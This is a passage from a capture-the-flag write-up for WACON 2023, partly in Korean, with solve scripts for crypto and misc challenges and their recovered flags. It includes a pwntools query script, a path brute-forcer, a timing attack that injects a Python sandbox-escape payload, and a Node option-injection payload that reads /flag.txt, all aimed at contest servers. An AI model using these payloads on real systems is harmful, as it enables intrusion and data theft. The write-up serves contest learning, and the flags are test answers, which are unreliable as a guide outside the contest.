seed_to_permutation(seed_tree[i + N - 1]) secret_list = [hex(permutation.find(x))[2:] for x in secret_list] permutated_secret = ''.join(secret_list) return permutated_secret secret = recover(master_seed, perm) print(secret) print(verify(master_seed, secret)) print(perm) secret = secret.encode() flag = b"WACON2023{" + secret + b'}' assert len(secret) == 16 and set(secret) == set(b"0123456789abcdef") # You can bruteforce the secret directly if you can overcome ^^^O(0xbeeeef * 16!)^^^!!! assert cascade_hash(flag, 0xbeeeef, 32).hex() == 'f7a5108a576391671fe3231040777e9ac455d1bb8b84a16b09be1b2bac68345c' ``` 플래그는 `WACON2023{2d4b7a9c085316ef}`입니다. ## Crypto - White arts ```python= from pwn import * r = remote('175.118.127.63', 2821) # context.log_level = 'debug' def send_query(inp, inverse): r.sendlineafter(b'q? > ', inp.hex().encode()) r.sendlineafter(b'(y/n)? > ', inverse.encode()) return bytes.fromhex(r.recvline().strip().decode()) # Generator1 Q1, Q2 = b'\x00' * 16, b'\x01' + b'\x00' * 15 r.sendlineafter(b'Generator1? > ', b'1') for _ in range(40): a1 = send_query(Q1, 'n') if a1[:8] == b'\x00' * 8: r.sendlineafter(b'mode? > ', b'0') else: r.sendlineafter(b'mode? > ', b'1') # Generator2 r.sendlineafter(b'Generator2? > ', b'2') for _ in range(40): a1 = send_query(Q1, 'n') a2 = send_query(Q2, 'n') if a1[1:8] == a2[1:8]: r.sendlineafter(b'mode? > ', b'0') else: r.sendlineafter(b'mode? > ', b'1') # Generator3 A, B = b'\x00' * 8, b'\x11' * 8 r.sendlineafter(b'Generator3? > ', b'2') for _ in range(40): a1 = send_query(A + B, 'n') a2 = send_query(B + A, 'y') if a1[:8] == a2[8:]: r.sendlineafter(b'mode? > ', b'0') else: r.sendlineafter(b'mode? > ', b'1') print(r.readline()) # Generator4 BASE = b'\x00' * 16 r.sendlineafter(b'Generator4? > ', b'4') for _ in range(40): # f(f(0)) res1 = send_query(BASE, 'n') # f(f(0) ^ 1) ^ 1 T = b'\x00' * 7 + b'\x01' res2 = send_query(T + T, 'n') # f^-1(f(0) ^ 1) ^ 1 X = xor(res1, T) res3 = send_query(X + T, 'y') # f( f(f^-1(f(0) ^ 1)) ^ 1) ^ 1 = f(f(0)) ^ 1 res4 = send_query(res3 + T, 'n') if res1[:-1] == res4[:-1]: r.sendlineafter(b'mode? > ', b'0') else: r.sendlineafter(b'mode? > ', b'1') print("Solved 4") # Generator5 r.sendlineafter(b'Generator5? > ', b'256') for _ in range(40): s = 0 for i in range(256): res = send_query(bytes([i]), 'n') s ^= res[0] if s == 0: r.sendlineafter(b'mode? > ', b'0') else: r.sendlineafter(b'mode? > ', b'1') r.interactive() ``` ## Misc - Let me win 전형적인 Integer programming 문제. Scipy의 MILP를 사용했다. ```python= import requests import re from urllib.parse import quote with open('team_list.txt', 'r') as f: teams = f.read().split('\n') regex = re.compile(r"Chal-[0-9]{2}") counter = [0 for _ in range(100)] team_solved = [] for team in teams: r = requests.get("http://175.118.127.123:5000/team/" + quote(team)) arr = [] for chal in regex.findall(r.text): chal = int(chal[-2:]) counter[chal] += 1 arr.append(chal) team_solved.append(arr) from scipy.optimize import milp, Bounds, LinearConstraint import numpy as np c = np.array([1] * 61) integrality = np.array([1] * 61) bounds = Bounds(lb=1, ub=999999999)# for _ in range(61)] const_coef = [] const_low = [] const_high = [] # inp_i > inp_{i+1} for i in range(60): coef = [0] * i + [1, -1] + [0] * (59 - i) const_coef.append(coef) const_low.append(1) const_high.append(np.inf) prev = None for i in range(61): arr = team_solved[i] row = [0 for _ in range(61)] for chal in arr: row[counter[chal] - 1] += 1 # print(row) if prev is not None: # score_{i-1} > score_i coef = [ x - y for x, y in zip(prev, row) ] const_coef.append(coef) const_low.append(1 if teams[i - 1] > teams[i] else 0) const_high.append(np.inf) prev = row constraints = LinearConstraint(np.array(const_coef), np.array(const_low), np.array(const_high)) res = milp(c, integrality=integrality, bounds=bounds, constraints=constraints) print(res) ``` ## Misc - mic check robots.txt를 읽어보면 다음을 확인할 수 있다. ``` User-agent: * allow: /W/A/C/O/N/2/ ``` `/W/A/C/O/N/2` 에 대해서 status code 200이 반환되는 것을 확인할 수 있다. 이를 바탕으로 brute-force한다 ```python import requests flag = "WACON2023{" while True: for ch in "0123456789abcdef": res = requests.get('http://58.225.56.196:5000/' + '/'.join(flag + ch)) if res.status_code == 200: flag += ch print(flag) break ``` ## Misc - ScavengerHunt Use timing attack ```python= from pwn import * from time import time from string import printable context.log_level = "warning" def oracle(ix, char): r = remote("1.234.10.246", 55555) r.recvline() start = time() r.sendline(f'''b.sum(i for i in b.range(100000000)) if (b:=''.__class__.__base__.__subclasses__()[107].load_module("builtins")).list(b.vars(b.__import__("secret")).values())[-1][{ix}] == "{char}" else 1'''.encode()) r.recvall() stop = time() r.close() return (stop - start) known = "WACON2023{" for ix in range(len(known), 100): for c in printable.rstrip(): if (o:=oracle(ix, c)) > 3: known += c break print(o, c) print(known) ``` ## Misc - Web? Run with `--allow-fs-read=/flag*,/app/eval*` to ignore the regex config. ``` { "expr":"fs.readFileSync(`/flag.txt`).toString()", "opt":"--allow-fs-read=/flag*,/app/eval*" } ```